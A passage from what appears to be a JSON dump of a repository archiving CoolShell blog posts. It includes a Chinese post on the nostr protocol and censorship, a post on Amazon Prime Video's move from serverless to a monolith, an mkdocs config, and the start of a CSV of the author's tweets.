    "content": "---\nlayout: post\ntitle: 聊聊 nostr 和 审查\ndate: 2023/2/3/ 7:46:13\nupdated: 2023/2/3/ 7:46:13\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2023/02/nostr-aplicacion-descentralizada-1140x570-1-300x150.png)这两天在网络上又有一个东西火了，Twitter 的创始人 [@jack](https://twitter.com/jack) 新的社交 iOS App  [Damus](https://apps.apple.com/ca/app/damus/id1628663131) 上苹果商店（第二天就因为违反中国法律在中国区下架了），这个软件是一个去中心化的 Twitter，使用到的是 nostr – Notes and Other Stuff Transmitted by Relays 的协议（[协议简介](https://github.com/nostr-protocol/nostr)，[协议细节](https://github.com/nostr-protocol/nips)），协议简介中有很大的篇幅是在批评Twitter和其相类似的中心化的产品，如：[Mastodon](https://mastodon.social/) 和 [Secure Scuttlebutt](https://scuttlebutt.nz/) 。我顺着去看了一下这个协议，发现这个协议真是非常的简单，简单到几句话就可以讲清楚了。\n\n\n#### 通讯过程\n\n\n* 这个协议中有两个东西，一个是 client，一个是 relay，client 就是用户社交的客户端，relay 就是转发服务器。\n* 用户不需要注册，用户只需要有一个密钥对（公钥+私钥）就好了，然后把要发的信息做签名，发给一组 relays\n* 然后你的 Follower 就可以从这些 relays 上订阅到你的信息。\n\n\n\n#### 技术细节摘要\n\n\n* 技术实现上，nostr 使用 websocket + JSON 的方式。其中主要是下面这么几个指令\n\t+ Client 到 Relay主要是下面这几个指令：\n\t\t- `EVENT`。发出事件，可以扩展出很多很多的动作来，比如：发信息，删信息，迁移信息，建 Channel ……扩展性很好。\n\t\t- `REQ`。用于请求事件和订阅更新。收到`REQ`消息后，relay 会查询其内部数据库并返回与过滤器匹配的事件，然后存储该过滤器，并将其接收的所有未来事件再次发送到同一websocket，直到websocket关闭。\n\t\t- `CLOSE`。用于停止被 `REQ` 请求的订阅。\n\t+ Relay 到 Client 主要是下面几个指令：\n\t\t- `EVENT`。用于发送客户端请求的事件。\n\t\t- `NOTICE`。用于向客户端发送人类可读的错误消息或其他信息\n* 关于 `EVENT` 下面是几个常用的基本事件：\n\t+ `0`: `set_metadata`：比如，用户名，用户头像，用户简介等这样的信息。\n\t+ `1`: `text_note`：用户要发的信息内容\n\t+ `2`： `recommend_server`：用户想要推荐给关注者的Relay的URL（例如`wss://somerelay.com`）\n\n\n#### 如何对抗网络审查\n\n\n那么，这个协议是如何对抗网络审查的？\n\n\n* 识别你的身份是通过你的签名，所以，只要你的私钥还在，你是不会被删号的\n* 任何人都可以运行一个或多个relay，所以，就很难有人控制所有的relay\n* 你还可以很方便的告诉其中的 relay 把你发的信息迁到另一个 relay 上\n* 你的信息是一次发给多个relay的，所以，只要不是所有的热门realy封了你，你就可以发出信息\n* 每个relay的运营者都可以自己制定规则，会审查哪些类型内容。用户据此选择即可。基本不会有一个全局的规则。\n* 如果你被全部的relay封了，你还是可以自建你的relay，然后，你可以通过各种方式告诉你身边的人你的relay服务器是什么？这样，他们把这个relay服务器加到他们的client列表中，你又可以从社死中复活了。\n\n\n嗯，听起来很简单，整个网络是构建在一种 “社区式”的松散结构，完全可能会出现若干个 relay zone。这种架构就像是互联网的架构，没有中心化，比如 DNS服务器和Email服务器一样，只要你愿意，你完全可以发展出自己圈子里的“私服”。\n\n\n其实，电子邮件是很难被封禁和审查的。我记得2003年中国非典的时候，我当时在北京，当时的卫生部部长说已经控制住了，才12个人感染，当局也在控制舆论和删除互联网上所有的真实信息。但是，大家都在用电子邮件传播信息，当时基本没有什么社交软件，大家分享信息都是通过邮件，尤其是外企工作的圈子，当时每天都要收很多的非典的群发邮件，大家还都是用公司的邮件服务器发……这种松散的，点对点的架构，让审查是基本不可能的。其实，**我觉得 nostr 就是另外一个变种或是升级版的 email 的形式**。\n\n\n#### 如何对抗Spam和骗子\n\n\n但是问题来了，如果不能删号封人的话，那么如何对抗那些制造Spam，骗子或是反人类的信息呢？nostr目前的解决方案是通过比特币闪电网络。比如有些客户端实现了如果对方没有follow 你，如果给他发私信，需要支付一点点btc ，或是relay要求你给btc才给你发信息（注：我不认为这是一个好的方法，因为：1）因为少数的坏人让大多数正常人也要跟着付出成本，这是个糟糕的治理方式，2）不鼓励那些生产内容的人，那么平台就没有任何价值了）。\n\n\n不过，我觉得也有可以有下面的这些思路：\n\n\n* 用户主动拉黑，但很明显这个效率不高，而且体验不好\n* 社区或是同盟维护一个黑名单，relay定期更新（如同email中防垃圾邮件也是这样搞的），这其实也是审查。\n* 防Spam的算法过滤垃圾信息（如同email中干的），自动化审查。\n* 增加发Spam的成本，如: PoW 工作量证明（比特币的挖矿，最早也是用于Email），发信息要花钱（这个对正常用户伤害太大了）等。\n* ……\n\n\n总之，还是有相应的方法的，但是一定没有完美解，email对抗了这么多年，你还是可以收到大量的垃圾邮件和钓鱼邮件，所以，我觉得 nostr 也不可能做到……\n\n\n#### 怎么理解审查\n\n\n最后，我们要明白的是，**无论你用什么方法，审查是肯定需要的，所以，我觉得要完全干掉审查，最终的结果就是一个到处都垃圾内容的地方！**\n\n\n**我理解的审查不应该是为权力或是个体服务的，而是为大众和人民服务的，所以，审查必然是要有一个开放和共同决策的流程，而不是独断的**。\n\n\n这点可以参考开源软件基金会的运作模式。\n\n\n* 最底端的是用户（User）参与开源社区的使用并提供问题和反馈。\n* 用户在使用过程中了解项目情况后贡献代码和文档就可以晋升为贡献者（Contributors），\n* 当贡献者提交一定数量贡献之后就可以晋升为提交者（Committers），此时你将拥有你参与仓库的代码读写权限。\n* 当提交者Committers在社区得到认可后，由项目管理委员会（PMC）选举并产生PMC成员（类似于议员），PMC成员拥有社区相关事务的投票、提名和共同决策权利和义务。\n\n\n注意下面几点\n\n\n* 整个社区的决策者，是要通过自己贡献来挣到被选举权的。\n* 社区所有的工作和决定都是要公开的。\n* 社区的方向和决策都是要投票的，PMC成员有binding的票权，大众也有non-binding的投票权供参考。\n* **如果出现了价值观的不同，那么，直接分裂社区就好了，不同价值观的人加入到不同的社区就好了**。\n\n\n如果审查是在这个框架下运作的话，虽然不完美，但至少会在一种公允的基础下运作，是透明公开的，也是集体决策的。\n\n\n开源软件社区是一个很成功的示范，所以，我觉得只有技术而没有一个良性的可持续运作的社区，是不可能解决问题的，**干净整齐的环境是一定要有人打扫和整理的**。\n\n\n \n\n\n![欢迎关注我 npub1w6r99545cxea6z76e8nvzjxnymjt4nrsddld33almtm78z7fz95s3c94nu](../wp-content/uploads/2023/02/IMG_2533-300x289.jpg)欢迎关注我 npub1w6r99545cxea6z76e8nvzjxnymjt4nrsddld33almtm78z7fz95s3c94nu\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![Alan Cox：单向链表中prev指针的妙用](../wp-content/uploads/2013/06/Alan-Cox-150x150.jpg)](https://coolshell.cn/articles/9859.html)[Alan Cox：单向链表中prev指针的妙用](https://coolshell.cn/articles/9859.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/5247.html)[国内微博和Twitter的最大不同](https://coolshell.cn/articles/5247.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/25.html)[如何上网觅无踪](https://coolshell.cn/articles/25.html)\n* [![Git显示漂亮日志的小技巧](../wp-content/uploads/2012/06/git.log_.01-150x150.png)](https://coolshell.cn/articles/7755.html)[Git显示漂亮日志的小技巧](https://coolshell.cn/articles/7755.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg](https://coolshell.cn/articles/1379.html)[如何调试bash脚本](https://coolshell.cn/articles/1379.html)\nThe post [聊聊 nostr 和 审查](https://coolshell.cn/articles/22367.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2023-5-8 是微服务架构不香还是云不香？.md",
    "content": "---\nlayout: post\ntitle: 是微服务架构不香还是云不香？\ndate: 2023/5/8/ 9:52:6\nupdated: 2023/5/8/ 9:52:6\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2023/05/monolith.microservices-300x200.png)这两天技术圈里热议的一件事就是Amazon的流媒体平台Prime Video在2023年3月22日发布了一篇技术博客《[规模化Prime Video的音视频监控服务，成本降低90%](https://www.primevideotech.com/video-streaming/scaling-up-the-prime-video-audio-video-monitoring-service-and-reducing-costs-by-90 \"Scaling up the Prime Video audio/video monitoring service and reducing costs by 90%\")》，副标题：“**从分布式微服务架构到单体应用程序的转变有助于实现更高的规模、弹性和降低成本**”，有人把这篇文章在五一期间转到了[reddit](https://www.reddit.com/r/programming/comments/137alxn/prime_video_switched_from_serverless_to_ec2_and/) 和 [hacker news](https://news.ycombinator.com/item?id=35811741) 上，在Reddit上热议。这种话题与业内推崇的微服务架构形成了鲜明的对比。从“微服务架构”转“单体架构”，还是Amazon干的，这个话题足够劲爆。然后DHH在刚[喷完Typescript](https://twitter.com/dhh/status/1655076668787097607)后继续发文《[即便是亚马逊也无法理解Servless或微服务](https://world.hey.com/dhh/even-amazon-can-t-make-sense-of-serverless-or-microservices-59625580)》，继续抨击微服务架构，于是，瞬间引爆技术圈，登上技术圈热搜。\n\n\n今天上午有好几个朋友在微信里转了三篇文章给我，如下所示：\n\n\n* 《[微服务是不是个蠢主意？](https://mp.weixin.qq.com/s/mEmz8pviahEAWy1-SA8vcg)》\n* 《[单体回归？亚马逊放弃用于视频监控的微服务](https://mp.weixin.qq.com/s/7zm5YyeZhQ2mu2TJvOK5tQ) 》\n* 《[从微服务转为单体架构、成本降低 90%，亚马逊内部案例引发轰动](https://mp.weixin.qq.com/s/fQtAMf4BfJxdBPWDE5ygwg)》\n\n\n看看这些标题就知道这些文章要的是流量而不是好好写篇文章。看到第二篇，你还真当 Prime Video 就是 Amazon 的全部么？然后，再看看这些文章后面的跟风评论，我觉得有 80%的人只看标题，而且是连原文都不看的。所以，我想我得写篇文章了……\n\n\n\n#### 原文解读\n\n\n要认清这个问题首先是要认认真真读一读原文，Amazon Prime Video 技术团队的这篇文章并不难读，也没有太多的技术细节，但核心意思如下：\n\n\n1）**这个系统是一个监控系统，用于监控数据千条用户的点播视频流**。主要是监控整个视频流运作的质量和效果（比如：视频损坏或是音频不同步等问题），这个监控主要是处理视频帧，所以，他们有一个微服务主要是用来把视频拆分成帧，并临时存在 S3 上，就是下图中的 Media Conversion 服务。\n\n\n2）**为了快速搭建系统，Prime Video团队使用了Serverless 架构，也就是著名的 AWS Lambda 和 AWS Step Functions**。前置 Lambda 用来做用户请求的网关，Step Function 用来做监控（探测器），有问题后，就发 SNS 上，Step Function 从 S3 获取 Media Conversion 的数据，然后把运行结果再汇总给一个后置的 Lambda ，并存在 S3 上。\n\n\n![](../wp-content/uploads/2023/05/prime.01.webp)\n\n\n整个架构看上去非常简单 ，一点也不复杂，而且使用了 Serverless 的架构，一点服务器的影子都看不见。**实话实说，这样的开发不香吗？我觉得很香啊，方便快捷，完全不理那些无聊的基础设施，直接把代码转成服务，然后用 AWS 的 Lamda + Step Function + SNS + S3 分分钟就搭出一个有模有样的监控系统了，哪里不好了？！**\n\n\n但是他们遇到了一个比较大的问题，就是 AWS Step Function 的伸缩问题，从文章中我看到了两个问题（注意前方高能）：\n\n\n1. 需要很多很多的并发的 AWS Step Function ，于是达到了帐户的 hard limit。\n2. AWS Step Function 按状态转换收费，所以，贵得受不了了。\n\n\n注意，这里有两个关键点：1）**帐户对 Step Function 有限制**，2）**Step Function 太贵了用不起**。\n\n\n然后，Prime Video 的团队开始解决问题，下面是解决的手段：\n\n\n1） 把 Media Conversion  和 Step Function 全部写在一个程序里，Media Conversion 跟 Step Function 里的东西通过内存通信，不再走S3了。结果汇总到一个线程中，然后写到 S3.\n\n\n2）把上面这个单体架构进行分布式部署，还是用之前的 AWS Lambda 来做入门调度。\n\n\nEC2 的水平扩展没有限制，而且你想买多少 CPU/MEM 的机器由你说了算，而这些视频转码，监控分析的功能感觉就不复杂，本来就应该写在一起，这么做不更香吗？当然更香，比前面的 Serverless 的确更香，因为如下的几个原因：\n\n\n1. 不再受 Step Function 的限制了，技术在自己手里，有更大的自由度。\n2. 没有昂贵的 Step Function 云成本的确变得更低了，如果你把 Lambda 换成 Nginx 或 Spring Gateway 或是我司的 [Easegress](https://github.com/megaease/easegress)，你把 S3 换成 MinIO，你把 SNS 换成 Kafka，你的成本 还能再低。\n\n\n#### 独立思考\n\n\n好了，原文解读完了，你有自己的独立思考了吗？下面是我的独立思考，供你参考：\n\n\n1）**AWS 的 Serverless 也好， 微服务也好，单体也好，在合适的场景也都很香**。这就跟汽车一样，跑车，货车，越野车各有各的场景，你用跑车拉货，还是用货车泡妞都不是一个很好的决定。\n\n\n2）**这篇文章中的这个例子中的业务太过简单了，本来就是一两个服务就可以干完的事。**就是一个转码加分析的事，要分开的话，就两个微服务就好了（一个转码一个分析），做成流式的。如果不想分，合在一起也没问题了，这个粒度是微服务没毛病。微服务的划分有好些原则，我这里只罗列几个比较重要的原则：\n\n\n* **边界上下文**。微服务的粒度不能大于领域驱动里的 Bounded Context（具体是什么 大家自行 Google），也就是一个业务域。\n* **单一职责，高内聚，低耦合**。把因为相同原因变化的合在一起（内聚），把不同原因变化的分开（解耦）\n* **事务和一致性**。对于两个重度依赖的功能，需要完成一个事务和要保证强一致性的，最好不要拆开，要放在一起。\n* **跟组织架构匹配**。把同一个团队的东西放在一起，不同团队的分开。\n\n\n3）**Prime Video 遇到的问题不是技术问题，而是 AWS  Step Function 处理能力不足，而且收费还很贵的问题**。这个是 AWS 的产品问题，不是技术问题。或者说，这个是Prime Video滥用了Step Function的问题（本来这种大量的数据分析处理就不适合Step Function）。所以，大家不要用一个产品问题来得到微服务架构有问题的结论，这个没有因果关系。**试问，如果 Step Funciton 可以无限扩展，性能也很好，而且白菜价，那么 Prime Video 团队还会有动力改成单体吗？他们不会反过来吹爆 Serverless 吗？**\n\n\n4）Prime Video 跟 AWS 是两个独立核算的公司，就像 Amazon 的电商和 AWS 一样，也是两个公司。Amazon 的电商和 AWS 对服务化或是微服务架构的理解和运维，我个人认为这个世界上再也找不到另外一家公司了，包括 Google 或 Microsoft。你有空可以看看本站以前的这篇文章《[Steve Yegg对Amazon和Google平台的吐槽](https://coolshell.cn/articles/5701.html \"SteveY对Amazon和Google平台的吐槽\")》你会了解的更多。\n\n\n5）**Prime Video 这个案例本质上是“下云”，下了 AWS Serverless 的云**。云上的成本就是高，一个是费用问题，另一个是被锁定的问题。Prime Video 团队应该很庆幸这个监控系统并不复杂，重写起来也很快，所以，可以很快使用一个更传统的“服务化”+“云计算”的分布式架构，不然，就得像 DHH 那样咬牙下云——《[Why We’re Leaving the Cloud](https://world.hey.com/dhh/why-we-re-leaving-the-cloud-654b47e0)》（他们的 SRE 的这篇博文 [Our Cloud Spend in 2022](https://dev.37signals.com/our-cloud-spend-in-2022/)说明了下云的困难和节约了多少成本）\n\n\n#### 后记\n\n\n最后让我做个我自己的广告。我在过去几年的创业中，帮助了很多公司解决了这些 分布式，微服务，云原生以及云计算成本的问题，如果你也有类似问题。欢迎，跟我联系：[haoel@hotmail.com](mailto:haoel@hotmail.com)\n\n\n另外，我们今年发布了一个平台 MegaEase Cloud， **就是想让用户在不失去云计算体验的同时，通过自建高可用基础架构的方式来获得更低的成本（至少降 50%的云计算成本）。**目前可以降低成本的方式：\n\n\n1. 基础软件：通过开源软件自建，\n2. 内容分发：MinIO + Cloudflare 的免费 CDN，\n3. 马上准备发布的直接与底层IDC合作的廉价GPU计算资源…\n\n\n**欢迎大家试用。**\n\n\n**如何访问**\n\n\n* 中国区:   <https://cloud.megaease.cn>\n* 国际区：<https://cloud.megaease.com>\n\n\n**注：这两个区完全独立，帐号不互通。因为网络的不可抗力，千万不要跨区使用。**\n\n\n**产品演示**\n\n\n* <https://www.bilibili.com/video/BV17v4y1R7mA/>\n\n\n**介绍文章**\n\n\n* [欢迎使用 MegaEase Cloud](https://megaease.cn/zh/blog/2023/02/15/welcome-to-megaease-cloud/)\n* [2023 年 03 月重大更新](https://megaease.cn/zh/blog/2023/04/06/megaease-cloud-2023.03-significant-update/)\n\n\n \n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![AWS 的 S3 故障回顾和思考](../wp-content/uploads/2017/03/Amazon-Web-Services-Down-150x150.png)](https://coolshell.cn/articles/17737.html)[AWS 的 S3 故障回顾和思考](https://coolshell.cn/articles/17737.html)\n* [![C++11的Lambda使用一例：华容道求解](../wp-content/uploads/2013/10/huarong-150x150.png)](https://coolshell.cn/articles/10476.html)[C++11的Lambda使用一例：华容道求解](https://coolshell.cn/articles/10476.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg](https://coolshell.cn/articles/4601.html)[关于Amazon云宕机的网贴收集](https://coolshell.cn/articles/4601.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg](https://coolshell.cn/articles/11.html)[PHP v5.3的新鲜玩意](https://coolshell.cn/articles/11.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg](https://coolshell.cn/articles/1928.html)[如何使用Python操作摄像头](https://coolshell.cn/articles/1928.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/3277.html)[超强的验证码](https://coolshell.cn/articles/3277.html)\nThe post [是微服务架构不香还是云不香？](https://coolshell.cn/articles/22422.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "mkdocs.yml",
    "content": "# yaml-language-server: $schema=https://squidfunk.github.io/mkdocs-material/schema.json\nsite_name: ghostincoolshell\nrepo_name: ghostincoolshell/haoel-articles\nrepo_url: https://github.com/ghostincoolshell/haoel-articles\nedit_uri: edit/main/docs/\ndocs_dir: 'blogs'\nsite_dir: 'docs'\n\ntheme:\n  name: material\n\nnav:\n- Blog: 'rss2html2markdown/'\n\nplugins:\n  - search\n  - include_dir_to_nav\n\nmarkdown_extensions:\n  - tables\n  - toc:\n      permalink: true\n  - pymdownx.extra\n  - def_list\n"
  },
  {
    "path": "slides/.gitkeep",
    "content": ""
  },
  {
    "path": "tweets/README.md",
    "content": "- `haoel.csv`: [@haoel](https://twitter.com/haoel) 发表的所有 tweets.\n\nCopied from https://github.com/yihong0618/twint . Thanks [@yihong0618](https://github.com/yihong0618).\n"
  },
  {
    "path": "tweets/haoel.csv",
    "content": ",id,Date Created,LikesCount,retweetCount,replyCount,Source of Tweet,Text,links,url\n0,1657253099671781376,2023-05-13 05:15:03+00:00,151,8,33,,@disksing 离开微博上推特的，基本上都是融入不了国内的文化的人,,https://twitter.com/haoel/status/1657253099671781376\n1,1657249109034827777,2023-05-13 04:59:12+00:00,262,30,486,,这句话是职场管理者们说的话，因为他们他们的行为被公司的财务报表绑架了，他们无时无刻都要算投入产出，这句话直接导致了KPI管理……这句话挺臭名昭著的（https://t.co/Vuetlj5Dcv)。如果你相信的这句话，你将永远无法得到成长……我觉得应该这么说：如果你没见过什么是好的，你将永远无法成长……,\"[TextLink(text='medium.com/centre-for-pub…', url='https://medium.com/centre-for-public-impact/what-gets-measured-gets-managed-its-wrong-and-drucker-never-said-it-fe95886d3df6', tcourl='https://t.co/Vuetlj5Dcv', indices=(74, 97))]\",https://twitter.com/haoel/status/1657249109034827777\n2,1657243736596946944,2023-05-13 04:37:51+00:00,16,0,4,,\"@madawei2699 @waylybaye @tinyfool 嗯👍\n\n另外，我好奇地看了一下，我访问量第一的文章，居然有了1000万次点击……\",,https://twitter.com/haoel/status/1657243736596946944\n3,1657242931139411971,2023-05-13 04:34:39+00:00,17,1,2,,@madawei2699 @waylybaye @tinyfool 我是从来都不关心这些数字，我关心的是我如何变得更好……,,https://twitter.com/haoel/status/1657242931139411971\n4,1657242009575489537,2023-05-13 04:30:59+00:00,18,0,3,,@madawei2699 @waylybaye @tinyfool 太KPI了……建议还是找对标产品或文章，并专注于高质量的产出……,,https://twitter.com/haoel/status/1657242009575489537\n5,1657181021920456709,2023-05-13 00:28:39+00:00,1,0,1,,@nishuang 义体,,https://twitter.com/haoel/status/1657181021920456709\n6,1656997586874814464,2023-05-12 12:19:44+00:00,11,6,6,,难道不应该是个印度人吗？,,https://twitter.com/haoel/status/1656997586874814464\n7,1656991705403654144,2023-05-12 11:56:22+00:00,6,0,0,,@redrain2012 没错，但我还是很好奇，想看看你会有多少人真的不懂…… （比如：会来跟我反驳gost没人维护什么的……）另外，他们忘了，我也是程序，代码写不好，我自己可以修可以维护……,,https://twitter.com/haoel/status/1656991705403654144\n8,1656991037485883392,2023-05-12 11:53:43+00:00,3,0,1,,@ivyliner 是的，但我还是好奇，想看看会有多少人真的不懂…… 所以还是发了……,,https://twitter.com/haoel/status/1656991037485883392\n9,1656956302722215943,2023-05-12 09:35:41+00:00,4,0,0,,@liumengxinfly 是啊。两国政府都很嫌弃我们,,https://twitter.com/haoel/status/1656956302722215943\n10,1656949648626679808,2023-05-12 09:09:15+00:00,3,0,2,,@liumengxinfly 你的意思是说什么时候才可以不装是吧？😃,,https://twitter.com/haoel/status/1656949648626679808\n11,1656949459052535808,2023-05-12 09:08:30+00:00,161,24,28,,很多人可能不明白这个道理…… https://t.co/9wT9jcf9ug,,https://twitter.com/haoel/status/1656949459052535808\n12,1656639151939391488,2023-05-11 12:35:27+00:00,34,10,1,,@chinalujw 差不多，不过应该这样思考，看到用户花钱买吸管，买汽水，所以一定会花钱买空调……注意，金句来了一一需求从来没有被创造过，只是被置换过来置换过去……,,https://twitter.com/haoel/status/1656639151939391488\n13,1656633767661047810,2023-05-11 12:14:03+00:00,4,0,6,,@mranti 的确，看来这就是马斯克挣钱的手段 https://t.co/OsNFJWYAYY,,https://twitter.com/haoel/status/1656633767661047810\n14,1656632309490282496,2023-05-11 12:08:15+00:00,22,2,4,,这里有个试验成功的……👇,,https://twitter.com/haoel/status/1656632309490282496\n15,1656631609213485056,2023-05-11 12:05:29+00:00,1,0,0,,@Racer_zang Me2,,https://twitter.com/haoel/status/1656631609213485056\n16,1656622789326176256,2023-05-11 11:30:26+00:00,277,43,17,,说起用户（特指消费者）需求，绝大多数的用户需求都是不值得做的，因为（下面的比例仅为说明问题，不是真实数据），1）至少80%需求的隐藏条件是“免费”，2）15%的需求是伪需求，其实他并不需要，3）不到5%的需求是愿意付费且真实……所以，用户调研不是去问他们要什么，而是要看他们已经为什么而花钱？,,https://twitter.com/haoel/status/1656622789326176256\n17,1656619291113066502,2023-05-11 11:16:32+00:00,1,0,0,,@liumengxinfly @GIA917229015 那是你，你不是程序员的基本面，绝大多数程序员都只会使用百度,,https://twitter.com/haoel/status/1656619291113066502\n18,1656618191869865984,2023-05-11 11:12:10+00:00,87,15,4,,@GIA917229015 欢迎试用……,,https://twitter.com/haoel/status/1656618191869865984\n19,1656595428299927553,2023-05-11 09:41:42+00:00,15,0,6,,@0zne Me: https://t.co/QG6wifBWvi,,https://twitter.com/haoel/status/1656595428299927553\n20,1656526571472314374,2023-05-11 05:08:06+00:00,17,2,0,,@thecalicastle https://t.co/eAYhiGBiTT,\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1370964465714274307', tcourl='https://t.co/eAYhiGBiTT', indices=(15, 38))]\",https://twitter.com/haoel/status/1656526571472314374\n21,1656502965677744128,2023-05-11 03:34:18+00:00,56,8,1,,此次分享的视频：https://t.co/SNQ5GLd015 再次感谢 @thecalicastle 的分享！,\"[TextLink(text='youtu.be/QePKvqLIsP0', url='https://youtu.be/QePKvqLIsP0', tcourl='https://t.co/SNQ5GLd015', indices=(8, 31))]\",https://twitter.com/haoel/status/1656502965677744128\n22,1656502675666780160,2023-05-11 03:33:08+00:00,10,3,0,,@thecalicastle 分享视频：https://t.co/SNQ5GLd015,\"[TextLink(text='youtu.be/QePKvqLIsP0', url='https://youtu.be/QePKvqLIsP0', tcourl='https://t.co/SNQ5GLd015', indices=(20, 43))]\",https://twitter.com/haoel/status/1656502675666780160\n23,1656502471655841792,2023-05-11 03:32:20+00:00,0,0,0,,@thecalicastle 分享视频：https://t.co/SNQ5GLd015,\"[TextLink(text='youtu.be/QePKvqLIsP0', url='https://youtu.be/QePKvqLIsP0', tcourl='https://t.co/SNQ5GLd015', indices=(20, 43))]\",https://twitter.com/haoel/status/1656502471655841792\n24,1656488873302822913,2023-05-11 02:38:18+00:00,277,23,60,,我个人非常讨厌币圈，对Web3也不喜欢👎，更不看好。注意：这是价值观的问题，不是理解偏差的问题，是无法调谐的。这里通告一下，是为了不必要的社交成本，如果可以互相容忍对方的观点，那么可以继续。如果不能容忍，请币圈或Web3的同学大家不要试图说服我或攻击我，最好还是把我拉黑或屏蔽，谢谢各位🙏,,https://twitter.com/haoel/status/1656488873302822913\n25,1656475764861321218,2023-05-11 01:46:12+00:00,2,0,1,,@phoesonp 不要混淆存在和遗忘,,https://twitter.com/haoel/status/1656475764861321218\n26,1656453329508024331,2023-05-11 00:17:03+00:00,3,0,2,,@nishuang 英语里面有大量的不一致性，我猜测因为说英语的种族和国家是最多的，而不同种族不同国家说不同的的英语，随着时间的推移，造成了这种不一致性……,,https://twitter.com/haoel/status/1656453329508024331\n27,1656451335657607169,2023-05-11 00:09:08+00:00,235,70,3,,OpenAI的新项目 Shape-E 把文本或图片转成 3D模型，只要你的3D建模软件支持PLY格式就可以进行二次创作，模型开源在：https://t.co/1RevOGs7AJ 然而，Readme与得真的语焉不详，好在这里有篇 blog https://t.co/4h9BmRl5QS 弥补了这个不足。,\"[TextLink(text='github.com/openai/shap-e', url='https://github.com/openai/shap-e', tcourl='https://t.co/1RevOGs7AJ', indices=(66, 89)), TextLink(text='bytexd.com/get-started-wi…', url='https://bytexd.com/get-started-with-openai-shap-e-to-generate-3d-objects-from-text-images/', tcourl='https://t.co/4h9BmRl5QS', indices=(120, 143))]\",https://twitter.com/haoel/status/1656451335657607169\n28,1656445411828146177,2023-05-10 23:45:36+00:00,86,15,16,,\"风险投资公司和加密货币的幕后推手a16z 从2018年在加密货币上不断加仓，他们最近的报告希望大众继续购买加密货币，为此不惜公然发布虚假信息来劝大众购买……然而随着这一波的AI浪潮的出现，Web3 的处境只会越来越差，被遗忘只是个时间问题……\nhttps://t.co/2xl3hPRoCe\",\"[TextLink(text='cn.cointime.com/news/andreesse…', url='https://cn.cointime.com/news/andreessen-horowitz-de-jia-mi-huo-bi-zhuang-kuang-bao-gao-bian-zao-duo-yu-shi-ji-shu-ju-41762', tcourl='https://t.co/2xl3hPRoCe', indices=(122, 145))]\",https://twitter.com/haoel/status/1656445411828146177\n29,1656289587168448513,2023-05-10 13:26:24+00:00,2,0,0,,@leowll 就是这个👍👍👍,,https://twitter.com/haoel/status/1656289587168448513\n30,1656289438224486400,2023-05-10 13:25:49+00:00,27,6,0,,@tinyfool 对了就是这个👍 https://t.co/XDpS8EwceC,\"[TextLink(text='youtu.be/yqTsgz0lHAE', url='https://youtu.be/yqTsgz0lHAE', tcourl='https://t.co/XDpS8EwceC', indices=(18, 41))]\",https://twitter.com/haoel/status/1656289438224486400\n31,1656284986738348032,2023-05-10 13:08:07+00:00,35,3,5,,\"求助：以前有个日本搞笑短片专门恶搞了英文问答how are you? i am fine , thank you, and you? 我怎么都Google 不到了，特此求助 🙏\",,https://twitter.com/haoel/status/1656284986738348032\n32,1656270316333854720,2023-05-10 12:09:50+00:00,4,0,0,,@error0g 居然能睡九个小时👍,,https://twitter.com/haoel/status/1656270316333854720\n33,1656253695930298368,2023-05-10 11:03:47+00:00,4,0,0,,@xicilion 赞啊👍,,https://twitter.com/haoel/status/1656253695930298368\n34,1656239491961729024,2023-05-10 10:07:20+00:00,5,0,0,,@WizyunEthan I will Call back later,,https://twitter.com/haoel/status/1656239491961729024\n35,1656239353977532417,2023-05-10 10:06:48+00:00,13,0,0,,@kevinzhow 不是年龄问题，而是你开始学会高效生活了,,https://twitter.com/haoel/status/1656239353977532417\n36,1656235956515790849,2023-05-10 09:53:18+00:00,503,35,37,,越到中年越能感受到，一个良好的生活作习是高效生活和工作的基础…… https://t.co/uxNEYr22KU,,https://twitter.com/haoel/status/1656235956515790849\n37,1656180356394147840,2023-05-10 06:12:21+00:00,90,6,6,,@dotey 看了一下，这些个认知还是没找到真正有商业价值的。果然应验了那句话，“如果你问客户要什么，他们会说要一匹更快的马”，视野的局限性不是靠数量能弥补的……,,https://twitter.com/haoel/status/1656180356394147840\n38,1656166735538540546,2023-05-10 05:18:14+00:00,7,0,1,,@kevinzhow 我今年已经改成22:30睡觉7:00起床了 https://t.co/h5DGZxMP36,,https://twitter.com/haoel/status/1656166735538540546\n39,1655840796137127936,2023-05-09 07:43:04+00:00,381,95,3,,@mtrainier2020 参考https://t.co/8Jufww8Wkp,\"[TextLink(text='gfw.report/publications/u…', url='https://gfw.report/publications/usenixsecurity23/zh/', tcourl='https://t.co/8Jufww8Wkp', indices=(17, 40))]\",https://twitter.com/haoel/status/1655840796137127936\n40,1655777866540527620,2023-05-09 03:33:00+00:00,6,0,0,,@MiaBleem 这个没办法，只能买黄牛。这是我多年前看的林肯公园，黄牛票¥3500，北京工体 